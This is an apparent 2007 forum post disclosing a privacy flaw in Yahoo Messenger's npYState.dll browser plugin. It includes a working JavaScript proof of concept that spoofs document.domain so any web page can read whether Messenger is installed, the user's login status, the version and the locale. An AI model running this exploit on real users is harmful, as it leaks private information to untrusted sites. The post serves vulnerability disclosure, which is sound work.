Yahoo Messenger installs a browser plugin called "Yahoo Application State Plugin" (npYState.dll). Purpose of this plugin is to tell Yahoo pages whether you have Yahoo Messenger installed, which version you have and whether you are currently logged in. Only yahoo.com is supposed to have access to this information, to ensure this the plugin tests document.domain property of the page that loaded it. However, at least in Firefox and Opera you can manipulate the value of document.domain to get access to the information from any web page:
<object id="npystate" type="application/x-vnd.yahoo.applicationState"></object>
<script type="text/javascript">
var origDocument = document;
try {
document.__defineGetter__("domain", function(){return "yahoo.com"});
} catch(e) {}
try {
window.document = {domain: "yahoo.com"};
} catch(e) {}
window.onload = function() {
var info = origDocument.getElementById("npystate").applicationInfo("msgr");
alert(info.installed() ? "Yahoo! Messenger is installed" : "Yahoo! Messenger is not installed");
alert(info.isLoggedIn() ? "You are currently logged in" : "You are not logged in");
var version = info.version();
alert("Yahoo! Messenger version: " + version.major + "." + version.minor + "." + version.hiBuild + "." + version.loBuild);
alert("Yahoo! Messenger locale: " + info.internationalCode());
}
</script>
I suspect that some variation of this will work in Internet Explorer as well.
Edited 1 time(s). Last edit at 04/05/2007 12:11PM by trev.